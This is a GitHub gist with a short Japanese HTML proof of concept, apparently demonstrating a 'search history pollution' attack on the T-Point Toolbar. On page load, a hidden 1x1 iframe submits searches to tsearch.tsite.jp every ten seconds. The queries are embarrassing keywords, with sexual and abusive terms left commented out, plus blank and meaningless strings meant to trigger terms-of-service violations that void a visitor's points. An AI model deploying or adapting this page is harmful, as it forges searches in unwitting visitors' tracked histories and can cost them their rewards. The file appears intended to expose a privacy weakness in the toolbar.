Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save cat-in-136/3310114 to your computer and use it in GitHub Desktop.
Save cat-in-136/3310114 to your computer and use it in GitHub Desktop.
Tポイントツールバーに対する検索履歴汚染攻撃の検討(取扱注意)
<!DOCTYPE html>
<!--
本コードはTポイントツールバー規約の第4条3項に違反する恐れがあるため、
Tポイントツールバーのユーザはこのファイルを開いてはいけません。
-->
<html>
<head>
<meta charset="UTF-8" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Tポイントツールバーに対する検索履歴汚染攻撃の検討</title>
<script type="text/javascript">
window.onload = function () {
var iframe = document.getElementById("tsite-search-iframe");
var timerId = -1;
var keywords = [
// 検索履歴汚染(意図せず検索履歴を発信させる攻撃)
"メイド喫茶",
"メイド服",
"ねこみみ",
"コスプレ",
/*
"レイプ",
"獣姦",
"触手",
"幼女",
"スカトロ",
*/
// 規約違反攻撃(ポイントを無効とさせる攻撃)
" ", // (1) 本ツールバーの検索窓を空白にした状態で、検索を実施すること。
" ", // (2) 本ツールバーにおいて、同一の検索キーワードによる検索を複数回行うこと。
"AAA", // (3) 本ツールバーにおいて、明らかに意味をなさない言葉、文字、文字列による検索を行うこと。
"CCC" // (3) 本ツールバーにおいて、明らかに意味をなさない言葉、文字、文字列による検索を行うこと。
];
var followKeyword = function () {
if (keywords.length > 0) {
var keyword = keywords.shift();
var url = "https://tsearch.tsite.jp/search.php?q=" + encodeURIComponent(keyword);
window.frames["tsite-search-iframe"].location = url;
} else {
if (timerId != -1) {
window.clearInterval(timerId);
timerId = -1;
}
}
};
// 10秒ごとに tsearch.tsite.jp へ自動検索
timerId = window.setInterval(followKeyword, 10000);
};
</script>
</head>
<body>
<iframe id="tsite-search-iframe" name="tsite-search-iframe" width="1" height="1" src="https://tsearch.tsite.jp/search.php?q=" style="border: none;"></iframe>
※本コードは<a href="https://tsite.jp/pc/r/kiyaku/toolbar/index.pl">Tポイントツールバー規約</a>の第4条3項に違反する恐れがあるため、Tポイントツールバーのユーザはこのファイルを開いてはいけません。
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment